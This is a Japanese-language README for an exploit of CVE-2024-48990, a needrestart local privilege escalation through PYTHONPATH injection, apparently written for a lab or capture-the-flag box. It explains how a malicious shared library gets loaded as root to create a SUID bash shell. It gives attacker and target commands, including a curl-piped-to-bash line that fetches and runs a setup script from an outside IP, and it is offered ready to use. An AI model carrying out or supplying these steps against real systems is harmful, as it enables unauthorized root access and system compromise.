CVE-2024-48990 エクスプロイト

PYTHONPATH インジェクションによる needrestart < 3.8 のローカル権限昇格。

仕組み

1. needrestart が root として実行され、すべてのプロセスをスキャンします
2. 自分の Python プロセスを検出し、/proc/[pid]/environ から PYTHONPATH=/tmp/.m を読み取ります
3. 悪意のある PYTHONPATH を使用して Python を root として実行します
4. Python の import が /tmp/.m/importlib/__init__.so(悪意のあるライブラリ)を読み込みます
5. Python が起動する前に、.so 内のコンストラクタが root として実行されます
6. /tmp/rootbash に SUID bash を作成します
7. /tmp/rootbash -p を実行して root シェルを取得します

重要ポイント: needrestart は非特権プロセスからの環境変数を信頼し、root としてインタープリタを実行する際にそれらを使用します。

使用方法

攻撃者:

./compile.sh
python3 -m http.server 8000

ターゲット:

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

e.py プロセスはハングし、2 番目のターミナルから以下が実行されると root シェルを起動します:

sudo needsrestard

最初のターミナルでは root シェルが起動します

クレジット

Qualys Threat Research Unit - CVE-2024-48990